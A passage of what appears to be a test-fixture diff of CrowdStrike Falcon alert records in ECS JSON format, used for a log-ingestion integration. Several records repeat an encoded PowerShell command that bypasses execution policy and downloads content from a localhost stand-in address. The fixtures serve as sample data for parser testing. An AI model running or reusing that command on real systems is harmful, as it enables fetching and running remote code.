"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_name": "SOMEHOST", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "SOMEHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "SOMEHOST" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ] + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_name": "SOMEHOST", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "SOMEHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "SOMEHOST", + "OTHERHOST" + ], + "user": [ + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "OTHERUSER" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z", + "user_name": "SOMEUSER" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "OTHERHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "OTHERHOST" + ], + "user": [ + "SOMEUSER", + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "SOMEUSER" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "prevented": true, + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z", + "user_name": "SOMEUSER", + "worker_node_name": "example" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "OTHERHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "OTHERHOST" + ], + "user": [ + "SOMEUSER", + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "SOMEUSER" + } + }, + { + "@timestamp": "2025-06-06T10:20:41.789Z", + "crowdstrike": { + "alert": { + "agent_id": "7940b10993e844e398f83bd92aa92b8f", + "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644", + "alleged_filetype": "exe", + "cid": "bdc3e3474d8848f1b8dcf41d41669a14", + "cloud_indicator": false, + "cmdline": "cmd crowdstrike_test_informational", + "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "confidence": 100, + "context_timestamp": "2025-06-06T10:20:41.124Z", + "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644", + "crawled_timestamp": "2025-06-06T10:21:45.624Z", + "created_timestamp": "2025-06-06T10:21:45.624Z", + "data_domains": [ + "Endpoint" + ], + "description": "An informational level detection was triggered on this process for testing purposes.", + "device": { + "agent_load_flags": 1, + "agent_local_time": "2025-06-06T06:28:45.178Z", + "agent_version": "7.24.19607.0", + "bios_manufacturer": "Microsoft Corporation", + "bios_version": "Hyper-V UEFI Release v4.1", + "cid": "bdc3e3474d8848f1b8dcf41d41669a14", + "config_id_base": "65994767", + "config_id_build": "19607", + "config_id_platform": 3, + "external_ip": "81.2.69.144", + "first_seen": "2025-05-29T11:54:43.000Z", + "groups": [ + "f3ba4e75244b4d06837c910a00bf80be" + ], + "hostname": "raquel-win10-3", + "id": "7940b10993e844e398f83bd92aa92b8f", + "last_seen": "2025-06-06T09:44:59.000Z", + "local_ip": "10.0.0.13", + "mac_address": "60-45-BD-D2-D4-37", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2025-06-06T10:18:32.000Z", + "os_version": "Windows 10", + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "status": "normal", + "system_manufacturer": "Microsoft Corporation", + "system_product_name": "Virtual Machine" + }, + "display_name": "TestTriggerInformational", + "email_sent": true, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "global_prevalence": "common", + "grandparent_details": { + "cmdline": "cmd crowdstrike_test_medium", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "local_process_id": "2796", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315", + "process_id": "17938741315", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "timestamp": "2025-06-06T10:20:21.000Z", + "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + }, + "has_script_or_module_ioc": false, + "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "is_synthetic_quarantine_disposition": false, + "local_prevalence": "unique", + "local_process_id": "6028", + "logon_domain": "raquel-win10-3", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "name": "DemoInformationalPattern", + "objective": "Falcon Detection Method", + "parent_details": { + "cmdline": "cmd crowdstrike_test_low", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "local_process_id": "4840", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135", + "process_id": "17940808135", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "timestamp": "2025-06-06T10:20:32.000Z", + "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + }, + "parent_process_id": "17940808135", + "pattern_disposition": 0, + "pattern_disposition_description": "Detection, standard detection.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "containment_file_system": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "mfa_required": false, + "operation_blocked": false, + "policy_disabled": false, + "prevention_provisioning_enabled": false, + "process_blocked": false, + "quarantine_file": false, + "quarantine_machine": false, + "registry_operation_blocked": false, + "response_action_already_applied": false, + "response_action_failed": false, + "response_action_triggered": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "10307", + "platform": "Windows", + "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==", + "process_id": "17942810918", + "process_start_time": "2025-06-06T10:20:41.000Z", + "product": "epp", + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 10, + "severity_name": "Informational", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "show_in_ui": true, + "source_products": [ + "Falcon Insight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "Falcon Overwatch", + "tactic_id": "CSTA0006", + "technique": "Malicious Activity", + "technique_id": "CST0002", + "template_instance_id": "1339", + "timestamp": "2025-06-06T10:20:41.789Z", 